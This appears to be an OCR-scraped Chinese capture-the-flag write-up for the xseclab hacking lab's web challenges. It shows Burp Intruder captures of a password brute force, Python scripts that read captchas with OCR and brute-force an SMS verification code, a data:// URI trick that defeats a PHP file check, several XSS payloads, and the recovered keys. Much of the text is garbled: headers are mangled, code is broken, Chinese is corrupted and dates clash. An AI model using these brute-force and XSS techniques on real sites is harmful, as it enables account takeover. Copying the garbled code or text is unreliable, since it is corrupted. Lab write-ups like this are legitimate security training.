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Response

Raw | Headers | Hex [ HTML ]'Hender]

GET jxss1_30acB66 53e7e387cTEk132b1 40bb/search_key php HTTPA 1 A HTTP#M 1 200 OK

Host: lab1 xseclab.com P Server: nginx

User-Agent: Mozilla/S.0 ows MT 10.0; WinG4; x84, rv:84 .0) Gecko/20100101 Firefox/84.0 Date: Fri, 15 Jan 2029 07:07:01 GMT
Accept: texthitml applicationfgtml+xml applicationfxml; g=0 9 imageiwebp */*g=0.5 Contert-Type: text/html
Accept-Language: zh-CH zh;g®g8,zh-TW, =07 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate
Connection: close

Referer: hitp: Mak1 xseclab .comixss
Upgrade-Insecure-Requests: 1

“ia: 4335
Content-Length: 94
JacBE68cd453e7e387cTER132b1 40bbindex php
=script=window.location=""no_key_is_here_forever.php"; </script=
key is : yougotit_script_now

v [ 5 ussl _305c8668cd4533?338?m2b1 A0kl
[ index php
D no_key_is_here_forever php
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author 'fudandax'

import re

str 'aabhh\nacbccd\na\nbbdffbgg"

print(re.findall(r'a.b',str))
.findall(r'a*b',str))
.findall(r'a.*b",str))
.findall(r'a.*?b',str))
.findall(r'a(.*?)b',str))

.findall(r'a(.*?)b',str,re.S))

.findall(r'a(.+?)b"',str))
.findall(r'a(.+?)b"',str)[0])

2.eval() BB RPAT —ADFRBRER, HREREXKE.
3.

import requests

import re

url ‘http://labl.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075bel/index.php"

s= requests.Session()

r=s.get(url)

r.encoding="utf-8"

print(r.text)
num=re.findall(re.compile(r'<br/>\s+(.*?)="),r.text)[0]

result=eval(num)

print(result)
r=s.post(url,data={'v': eval(num)})
print (r.text)
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SH registered: activity-stream. jsx:71:21

p ServicedorkerRegistration { installing: null, waiting: null, active: ServiceWorker, scope: "“hitps://newtab.firefoxching.cn
/newtab/as/", updateviaCache: "imports”, onupdatefound: null, pushManager: FushManager }

»  var b=function(p,a,c,k,e,r}{e=function{c}{return{c<a?" ":e(parseInt({c/a)})+((c=c¥a)»3525tring. fromCharCode(c+29) :c. toString (36} } };1F (! " '.replace(/~
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xp|tostring|2e|parseint|2s|split|eval|e2|75]53 | var|slakfi| teslkjsdflk|for . split(']*),8,{});

var d=eval(b};
alert("key is first 14 chars"sd);
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Go Cancel < | >

Request Response

J Raw T Params I Headers T Hex ] J Raw T Headers I Hex ]

POST ivcode_befefTeacfThadcE4aaf! 8844cdb c4Bloginphp HTTRA 1 A HTTR/M 1 200 0K

Host: lab1 xseclab.com P Server: ngin

Uszer-Agent: Mozilla/5.0 (Windows MT 10.0; Wing4; x64; rv:84.0) Gecko/20100101 Firefox/24.0 Date: Fri, 15 Jan 2021 091316 GMT
Accept: texthtml applicationfhtml+xml applicationfml;g=0.9 imagefwebp ** g=0.8 Content-Type: text/html, charset=utf-g
Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-U3;q=0.3 en;gq=0.2 Connection: close

Accept-Encoding: gzip, deflate Expires: Thu, 19 Mov 1981 03:52:00 GMT
Content-Type: application/x-www-form-urlencoded Cache-Control. no-store, no-cache, must-revalidate, pos
Content-Length: 48 Pragma: no-cache

Origin: httpc/abl xseclab com Via: 4335

Connection: close Cortert-Length: 9

Referer: hitp:ilabl xseclab.comiveode _befefTeactTbadcetdaal! S844cdbl cdfindex php

Cookie: PHPSESSID=647 bedSfddedbbBe33788eE7 48aah04c pwd error
Upgrade-Insecure-Reguests: 1

username=admin&pwd=12228vcode=MC90&submit=submit

2. fifsend to intruder, B %S4 attack (7] §E H BLPayload set 1: Invalid number settings)

POST fvecodel _befeffeacfrbadeBdaal! 8844cdbl c4Blogin.php HTTPA A

Host: lah1.xseclab.com

User-Agent: Mozilla/s.0 (Windows MT 10.0; Wing4, x64; rv:84.0) Gecko/20100101 Firefox/g34 .0

Accept: text/tml applicationfhtml+xml application/xml;g=0 9 image/webp **g=0.3

| Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-U3;g=0.3 en,g=0.2

Accept-Encaoding. gzip, deflate

| Content-Type: applicationf-www-form-urlencoded

Content-Length: 48

Qrigin: http: Mab1 xseclab.com Send to Spider

Connection: close

Referer: hitpcilabl xseclab.comiveodel _befe .

Cookie: PHPSESSID=647hcdSfddedhb8e3arag( DO @ Passive scan

Upgrade-Insecure-Requests: 1 Send to Irtrucer ﬁ"— Ctri+ |
Send to Repeater Ctri+R |

Do an active scan

Target | Proxy | Spider IScanner Tlntruder THapeater TSequencer TDeccder TComparer IEx‘tender TPrajed options TUser options | Alerts

10 = [11 = [13 =

Target | Positions TPay\oads TOpﬁons }

‘2| Payload Positions

Start attack

Configure the postions where payloads will be inserted into the base request. The attack type determines the way in which are assigned to payload postions - see help for full details.

Attack type: lSnlper | ']

POST ivcode!_befeffeacf7badcB4asf18844cdbl c4Blogin.php HTTPH 1 A Add §
Host: lab1 xseclab.com "

User-Agent: Mozilla/3.0 (Windows NT 10.0; Wing4, x84; rv:84.0) Gecko/20100101 Firefoxig4 .0 Clear §
Accept texthtml licationdhtmi+xml applicationfmk g=0.9, bp, =08

Accept-Language: zh-CN,zh;g=0.8,zh-TW,g=07 zh-HK;gq=0 5 en-US;g=0.3 en;g=0.2 Auto §
Accept-Encoding: gzip, deflate

Content-Type: Wx-www-form-urlencoded

Content-Length: 48 Refresh

Drigin: http:Mabd xseclab com

Connection: close

Referer: htp:/labl xseclab comiveodel _befefTeacfhadcfdaaf 8844 cdbil c4Bindex php
Cookie: PHPSESSID=647hcdSfddedbbBe33788e67 46aab04c

Upgrade-Insecure-Requests: 1

username=admin&pwel=§12225&vcode=MCIDEsubmit=submit
—




[Targe‘f IProxy ISpider IScanner Ilntruder IHepeater ISequencer IDecoder TComparer IErtender Proje

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Podl
customized in different ways.

Payload set: [1 |'r] Payload count: 9 001

Payload type: '\Iumbers |'J I Request count. 9001

[EJ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Mumber range

Type: ® Sequertial () Random
From: 299

To: 9999

Step: 1

How many:

Murnber format

Base: @ Decimal _ %E?ﬁéHex E,ﬁDec

Win integer digits:

Max integer digits:

Win fraction digits:

Max fraction digits:

10 = |11 = [13 = | .

A Intruder attac

Attack Save Columns

EJ Raviestiess J Resutts T Target I Postions ]’ Payloacs T Options ]

“Y'ou can define one or
customized in differer

Fitter: Showing all tems

Payload set. |1 I Request Payl | Error | Timeout | Length V| Comment
——| 240 1238 200 O O 320 &
Payload type: | Numl 0 200 o @) 306
|1 999 200 [|] (0] 306
2 1000 200 )] O 308
@ Payload Optiong| 3 1001 200 |] 308
- oadt 4 1002 200 )] O 308
IS payloa e gen
pavoatiype gsll| g 1003 200 o 0 308
[ 1004 200 )] O 308
T 1003 200 (] )] 306
] 1006 200 )] O 308
From 9 1007 200 a )] 306 L
10 1008 200 )] O 308 v
To. (—Tﬁ -
Reguest | Response
Step Raw | Params | Headers | Hex
How many: POST fvcodel _befefTeacfThadcfdaat] S844cdhlcdBlogin php HTTRA 1 &
Host: lab1 xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:84.0) Gecko/20100101 Firefox/34.0
Murnber format Accept: textihtml i wehtml+ml application: 9 imag bp, M g=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,g=0.7 zh-HK;q=0.5,en-US;g=0.3 en,q=0.2
Base:

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 45

Qrigin: http: Mab1 xseclab.com

Connection: close

Referer: httpoilabl xseclab comiveodel _befef7eacfrhadet4aaf1 8844 cdb c46index php
Min fraction digits: | ¢.oo(e: PHPSESSID=647bedSTddedbbBe33788e6748ash04c

Min integer digts:

Max integer digits:

ayload type can be

Start attack




Hnararieinear re-Hen eete: 1

Max fraction digits:

B
g

+ > Type a search term

0 matches

Finished!

Examples

3BRE, repeaterEBHNEE, go— F15ZEflag

[Targﬁ Proxy | Spider TScanner Ilmruder | Repeater

Seguencer T Decoder I Comparer T Extender I Project options I User options | Alerts

1 5|2 = |3 x [4x | 5%

Go Cancel < v >|r Target: http:ifab1.xseclab.com l:‘J ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
05T vcodel_befefTeact7hadcGdaaf! 8844cdhi cdBogin.php HTTRPA 1 & HTTRA .1 200 OK &
Host: lab1 .xseclab.com a Server: nginx 2
Jser-Agent: Mozilai5.0 (Windows NT 10.0; WinB4; x&4; rv:54.0) Gecko/20100101 Firefox/534.0 Date: Fri, 15 Jan 2021 09:17:06 GMT
Sccept: texttml fhtml-+xeml Wl g=0.9,imag P, g=08 Content-Type: textitml, charset=utf-g
Sccept-Language: zh-CH zh;g=0.5 zh-TW,g=0.7 zh-HK;g=0.5,en-US;q=0.3 en;,q=0.2 Connection: close

Sccept-Encoding: gzip, deflate

Zontert-Type: ication-www-form-urlencoded
Zontert-Length: 48

2rigin: hitp:iabl xseclab.com

Zonnection: close

Aeferer: hitp:Mabl xseclab lel1 _bcfefTeaciThadcS4aaf18844cdb c4Bindex php

Zookie: PHPSESSID=647hcdsfddedbhBe33788e67 46aah04c
Jpgrade-Insecure-Requests: 1

isername=admindpwd=1235§vcode=MCI0D&submit=submit

Pragma: no-cache
Via 3832
Content-Length: 22

Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Control no-store, no-cache, must-revalidate, post-check=0, pre-check=0

key is LILILT89sdfti@sd

PS:Payload set 1: Invalid number settingsiX f& —4“##4:bug

BB Intruder Attack Configuration

Errors

@ Payload set 1: Invalid number settings

lgnore Go back I

R S distart attrack J5 H# Payload set 1: Invalid number settings fI#27~, &S hex JG & decimal B ifistart attrack, &FEFF)

EERIH



Target | Positions | Payloads TDptions ]

EJ Payload Sets

‘f'ou can define one or more payload sets. The number of payload sets depends on the attack type defil
customized in different ways.

Payload set: [1 |'] Payload count: 9,001

Payload type: [Numbers |'r] Request count: 9,001
- AFagEN
?| Payload Options [Numbers] = >

This payload type generates numeric payloads within a given range and in a specified format.

Mumber range

Type: (= Sequertial () Random
From: 999
To: 8998
Step: 1
How many:
b At
Mumber format 2 @’éﬂ 1 %r‘ﬁlg.
Base: (® Decimal () Hex

Min integer digits: \
Max integer digits:
Min fraction digits:

Max fraction digits:

JiI AR % 6 32 L IIERD 35 —

KEEF: burp
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]
] Burp Irtruder Repeater Window Help
| [Targﬁ Proxy | Spider ]’Scanner ]’Irrtruder TRepemer TSequencer TDecoder Tcomparer ]’Ex‘tender TProjem options TUser options TAlens ]
1 % |2 = |3 = [4 = |5 = [B =
Go Cancel < | > Target: http:ilab1.xseclab.com
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST ivcode2_aGebbacOb47cE187h09deh20babe0e850ogin.php HTTRA 1 A HTTPA .1 200 OK
Host: lab1 xseclal.com r Server: nginx
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Date: Fri, 15 Jan 2021 10:29:44 GMT
Accept: textihtml licationAchtmi+xml licationbaml;q=0.9 imag bp, =08 Cortent-Type: texthtml, charset=utf-5
Accept-Language: zh-CH zh;0=08,zh-Tw,q=07 zh-HK; =0 5 2n-US;g=0.3 en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Expires: Thu, 19 MNov 1981 08:52:00 GMT
Contert-Type: applicationsce-www-form-urlencodecd Cache-Control no-store, no-cache, must-revalidats, post-check=0, pre-check=0
Content-Length: 48 Pragma: no-cache
7 Origin: http: a1 xseclab.com Via: 3831
Connection: close tant Lanogthe 44
Referer: hitp:iab1 xseclab comiveode2_aBefhacib47c81 87h09deh20babeleB5index php
Cookie: PHPSESSID=647bcdSfd4edbbBe 3370057 46aab04c veode error
Upgrade-nsecure-Reguests: 1
userr Imin&pwe=1234 | submit=submit




2.2 MBrvcodeZ HMME, Ei, i&R[Elpwd error.

< |v > | Target: http:ilab1

Go Cancel

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

POST ivcode?_aGefbaclb47ci187h09deb20babe0ed5ogin php HTTPA 1 A HTTPA .1 200 OK
Host: lab1 xseclab.com a Server: nginx
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:84.0) Gecko/20100101 Firefox/34.0 Date: Fri, 15 Jan 2021 10:32:12 GMT
Accept: texthtml licationixhtrml+xml licationixml; 9 imag: bp 't g=08 Content-Type: text/html, charset=utf-5
Accept-Language: zh-CM zh;g=0.8 zh-TW,g=0.7 zh-HK; 5en-Us;g=0.3en;g=02 Connection: close
Accept-Encoding: gzip, deflate Expires: Thu, 19 Mov 1981 08:52:00 GMT
Content-Type: applicationf-www-form-urlencoded Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cortent-Length: 44 Pragma: no-cache
Origin: hitp: Mab1 xseclab.com Via: 4334
Connection: close Cortert-Length: 9
Referer: hitp:/lab1 xseclab.comiveode?_aGeBbacib47ecB187h09deb20babeledsindex php
Cookie: PHPSESSID=64ThcdSfd4edhbBe33788e67 46aab04c
Upgrade-Insecure-Requests: 1
userr Imin&pwil=1234 | ubmit=submit

3B AR pwd= 1228, REEHIEFElkey: LJILIL789ss33fasvxcvsdf#@sd

[Target Proxy | Spider TScanner Tllmruder lHepeater TSequencer TDecoder ICcmparer IEmender TProject options TUser options IAIer‘ts ]

10 % |11 x 14><T..]
[Target I Posttions IPinnsd: ]Dpﬂons ]
———]

lzJ Payload Sets Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Warious payload types are available for each payload set, and each payload type can be
cUstomiZed I ditterent ways

Payload set: |1 |v Payload count: 9,001

Payload type: | Numbers |v Request count: 9,001

Payload Options [Numbers]

=

This payload type generates numeric payloads within a given range and in a specified format.

B Intruder attac

N N Aftack Save Columns
Type: ® Seguential () Random
J Resuits T Target T Positions T Payloads T Dptions ]
From: 999
Fiter: Showing all tems ?
To 9999 | l_J
Recuest Payload Status | Errar | Timeout | Length ¥ | Comment
Stey 1
= 230 1228 200 O O 33 A
How many: v ) (] ) B
1 999 200 ] O 306
g C.zr T- : l 5 1 2 1000 200 a a 306
Mumber format Lol R - k ecimg |4 1002 200 a (0] 306
Base ® Decimal () Hex 5 1003 200 a a 308
[ 1004 200 0] O 308
Win integer digits: 7 1005 200 g (0] 306
a 1006 200 0] O 308
Max integer cligits: q 1007 200 O @] 306
10 1008 200 0] O 308 L
Min fraction cigits: 11 1009 200 o o 308 v

Max fraction digits: Reguest | Response l

AR 5% 7 SZ E M IIERS S5 =1 (SESSION)
Kegy . EIK sessionburp
R R BRUERD R AR B AR



1. BRRHB

BREAER GRAARKIEBRER) » KN &0k session Bi# cookie
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APumRBERA—%, EEBELT, SERFARLETE, KIESEF#shFEH, sessionf cookie HHLHREZET

B REANIBER—EEFHARETE, B L EESEM post MRS WET KEHIE, XHERIEEEFRAEHEE, %
SR session Fl cookie 77 fi i NEE I UERD B2 BIRIME, WHEEE RS, XHLUETRKEES postE B KEMEYE, A
FERIGIERY, I6FRS T [E % !

BTk, TERZNTIERD JG 56K session 1 cookie MIMETE R, ARG MEIEARMERIM, RENE! X, —NRFEBEH L
T!

2 WG Vay:l

A w0 D

JA SR 8K — T HiREE R T

Keg¥: php

IR

BB
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?-=data://text/plain;charset=unicode,(e’-’ )

JHIA 3% 93& Hb ) FHLIAIERD
KEEF:

HIR A

W

1. B IR

w <div class="loginform cf"»

: ibefore
w <«form name="login" action="index.php" method="POST" accept-charset="utf-2">
- <ul>
- <11
B EREREX
I <a href:"?Tfieu-;-sc-ur‘ce":-i,ﬁ-:fa) |
</ label>
<input type="text"™ name="T_T" placeholder="where is your smile® required=""»
</1i>
- <11

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?view-source
2.5 HriEhS 25 PHP LY B

CAZRRE A A IRAE
A NREARRER 0-9] http https ftp telnet XEKF
.$_SERVER[ 'QUERY_STRING' ], Bf"A_A=(FBIAHIE) "IN FREFGEE _ XNER

4. $smile! =0
5.file_exists ($_GET['~A_~'])AFAN0. HELRS GET[ '~ ' |HXHEAFE
6."$smile" NAET" (o' o))" . WEiRfile get contents($_GET['A ~'])UFN"(e' 'e)"

FRAT TR, B3EEE1ETET
BEEL ", X AS A A p ik ehi [y "
T4 T LASE FH U4l 25 34" %5 S BE 55 3 A5 ki 2 7 T LABRAT T30 Ak Iz 2% Ay 7o

Bk EE2 /5,IX AN T IR hitp https fip telnet XS4 JE T



M6 4 X Ei@idfile_get contents()EXHS$ GET[-1HE KA.
WEE5H,$_GET[ -1 AFARELE
FilAS_GET[-|REERFERFH" (o' o) FNARER 4

A 4file_get_contents() RIS H M ZRMEIE, & T —F, KMdata//5ERFFE B ARV AL %A

"A%5FA=data:, (o' 'e)"

data:, < CAHHE> e )
data:text/plain, < iz 4 i > —

data:text/html, <HTML{{E >

data:text/html; base64, <base64 i i [IJHTML{L L >
data:text/css, <CSS{UiL>
data:text/css;base64, <base64 4 i [11CSS{LIL >
data:text/javascript, <Javascript{{ i3>
data:text/javascript;base64, <base644i i) Javascript{{fiL>
data:image/gif;base64,base644i i [11gif | i %l
data:image/png; base64,base644i i) png & - Hidl
data:image/jpeg;base64,base644i i (1jpegh F #di
data:image/x-icon;base64,base644i i (licon & Ji Hi

33T FEE: 3K Bflag

http://lab1.xseclab.com/base13 ead1b12e47ec7cc5390303831 b779d47/index.php?%5f=data:,(o’u’o)

S5 https://blog.csdn.net/qq_26090065/article/details/82503651



A< 9 38 L B FHLIRERY
K. FHUIRIE ALK ZHEIRR
WU

g, SEFEREIISRHSEISE0038

€ 2 C 0 O FE%e | lablxseclab.com/vcodeS mobi 5773f3defdf771439e058894cefcd2a8/ W

fREOFNSIBE: 13388886666 ,iN{ERAFHIEERIEE] lab1.xseclab.com MR
Phone: 133888086666

Veode:

FHSHESS : 9038

A 90388F, & please login as 13388886667

< C O @ F%&%£ |lablxsedab.com/vcode5 mobi 5773f3def9f77f439e058894cefcd2a8/login.php

please login as 13388886667

TEB=EEH13368880007, EFEEIFIGE, FEET
€ 3 C 0t @ FEL | labluseclabcom/veodeS mobi 577313defofT7i439e058594cefcd2aB/#

{REFEH S 82 13388886666 ,iEEFYIEEREITRE lab1.xseclab.com BR
Phone: 13388886667

; FHRRR: Sh0ATRIAFNLT, AR
v ! FHERSE: ShoSRRIATFNLT F3

TEZFFIA135888800665CE3EIES, AT FRAIEHER 13388886667, HREMETkey:
LULGod!@@sd

€« C O @ F&£ | lablxseclab.com/vcode5 mobi 5773f3def9f77{439e058894cefcd2aB/login.php
key is LILJLGod!@@sd

AR 10 ZAERREH S A

K7

R R

S



AR S 11 BRIERD R 5
K7

FIR R

BB

1. E2FEE FHLRIEDE R E

w <script>

$(".getcode™).click(function(){ var url="./mobi_wvcode.php”; $%.post(url,

{'getcode’:"1", 'mobi’:$("#username").val()},function({data){ alert{"WENFREEEEERIREITF! "+data); 1); 1);
</script>
<l--

g’i}%ﬂﬁFc‘.:'uééii1H$*ﬂﬁiﬁﬁ%iﬁﬁ%@ﬁﬁfﬁiﬁﬁ)ﬂﬂﬁﬁﬁ, ERTEMEELEM, THMEREIEEEsrh 73T HF, Mieeloos, HERIFES
EISE

-
</body>
</html>

2. 5HE
python 2.7



i coding: cp936
import requests
import image

import pytesseract

import re

"http://labl.xseclab.com/vcode7_f7947d56122133dbc85dda4f28530268/index.php’
"http://labl.xseclab.com/vcode7_f7947d56122133dbc85dda4df28530268/mobi_vcode.php'
"http://labl.xseclab.com/vcode7_f7947d56122133dbc85dda4f28530268/vcode.php’
"http://labl.xseclab.com/vcode7_f7947d56122133dbc85dda4f28530268/1login.php’

VR 31 56 UE A5 ) R B
def user_code():
#HIREE fr I UERY
I3 s.get(url3)
with open('1.bmp', 'wb') as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
f.flush()
f.close()

#IR 7 By SRS
im = pytesseract.image_to_string('l.bmp"')
im im.replace("' ', '")
#E A BERD IR A AN K HERS, &ZEHIENRE XA B —T
if re.match('[0-9]{4}',im)
return im
else :
return user_code()

s=requests.session()
HEE FHLRIZRAER, AL NI RS ER R e
r=s.post(url2,{'getcode':1, 'mobi':13388886666})

R LIRS

for code in range(100,1000) :
hhh=user_code()
print hhh, code

data={'username':13388886666, 'mobi_code' :code, 'user_code’ :hhh, 'Login":"'submit’'}
r=s.post(url4,data=data)
print r.content
#152flaghifz 1k
if 'error' not in r.content :
break




#!/usr/bin/env python3
# Author: renzongxian

import pytesseract

from PIL import Image

import requests

import os

cur_path = os.getcwd()

vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'}

def vcode():
# JOUERD R BR 2
pic_url "http://labl.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
r = requests.get(pic_url, headers=header, timeout=10)
with open(vcode_path, 'wb') as pic:
pic.write(r.content)
im = pytesseract.image_to_string(Image.open(vcode_path))

im = im.replace(' ', '')
if im Y

return im
else:

return vcode()

"http://labl.xseclab.com/vcode7_ f7947d56f22133dbc85dda4f28530268/1login.php"

i in range(100, 1000):
code = vcode()
data {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
IR requests.post(url, data=data, headers=header, timeout=10)
response r.content.decode('utf-8")
if ‘'user_code or mobi_code error' in response:

print('trying ' str(i))
else:

print('the mobi_code is ' str(i))

print(response)

break

3.81713 Flkey is 133dbc85ddadaa**)

A% 12 XSSHEA L
Xhz. XSS
SR

1.F128F M TIEAG

cr ir_l £

Welcome guest




2.FBxss, FTHF3CM, R % Aalert(HackingLab)
http://lab1.xseclab.com//xssjs/xss_check.php

orgAlert = window. alert;
ok = 0;
var Hackinglab="success!”;
function newAlert(a) {
window. alert = orgAlert;
if (a == HackingLab) {
if (ok == 0) ok = 1;
alert(a) ;
$.post (”. /getkey. php?0k=1", {"url’ :location. href, ok’ :ok}, function(data) {
console. log(data) ;
1

showkey () ;
} else {
alert(a) ;
alert ("Please use alert(HackingLab)!!”);

}
}

window. alert = newAlert;
function showkey () {
//XSSILHEH. . . .. T T Ef AL nT AGRIL i, BAEAIE AR §s 1, KE Do,
var url="./getkey. php”:
$. post (url, {"getkev”: , function(data) {
$ ("#msg”) . text (data) ;

1)

35N
script>alert(HackinglLab script

JRIZAR 5% 13 XSSHeAh2: fe] #1585

K. XSS

B

1. E—®E [ payload AEEA T, SRpmNE], #—Fh75K
2 % \<img src=# onerror=alert(HackingLab) />

BRI E, 15 Flkey is: xss2test2you

I E 14 XSS ZE3:A0 0 513

xEEF. XSS

B

T T ZR R <>, HERAITE, XEHE onmouseenter=alert(HackingLab)>, {ERKZIKARANTATLL, ZRKIHY
value 1B J5 Ralerthf, JEIAASHLNE, FTLiMikalert onmouseenter=alert(HackingLab)>, [E~onmouseenter Z47E B AR
e BB TR BN AR, Bl SRAVIE RARBEE TEME, BIR1EHkey



JiiA 2% 15 Principle/R EE XSS

REF: xss

BB

1. BB AW WS E N F RS BR
javascript:alert(1) # 5 ik

javascriptzalert(1) |
javascript:alert(1)
Welcome IX55 SCRIPT DETECTEDI!!!

® O3 Dewa O Etd N RE () etas

Q = HTML

<htmls
b <head: =</ head:>
w <body>
P <form dction="" method="POST"» - </form:

w(<a href="" "=""

]
W

<>FESLIEIE R
<O IE(BLAL T BB TR BMIER) >1EH
ERAFHANFFS R H RN 2B BMER, SFEhEKANE
XEHENTUMNAKSE AT

. 2R %3 javascriptalert(1)
1R FR, ALATHMIENR:
2.1 )5 5 A A2 S UL e A B 4 3 5 P R AT B SO A 4k
2.2alter#t 5 i
2R T ZAMEL

Welcome !Edit Profile(XSS HERE!)
Hint:

EEENE
Welcome !<a href=" javascript:alert(1}’ >Edit Profile (XSS HERE!)</a>

ALERIEREARET, BEils— MR



1
[ Bl A

[w= )

AILERIERHAT ri8E, FFatoEpayload

3. H At AL

=1g BIERERER, MREIENFHREShELIZEETE
RE=EnEa=AmammE
BT EmEE—1

LR er

Velcome !<a href=" test’ »Edit Profile (XSS HERE!)</a>

EFEEY

oS 2 EE rrE=E

</ ToTm>
Welcome !<a href=" test '»Edit Profile (XSS HERE!)</a>

SR =ERE—1==18

BB gE40 T payload

RLIEEE!



' onmouseover=al<c>ert(HackinglLab

2% hitps://blog.csdn.net/Jacob12774/article/details/84778322

S5 https:/Mmww.cnblogs.com/renzongxian/p/5618631.html
S5 ¥ https://blog.csdn.net/qq_36119192/article/details/102719130
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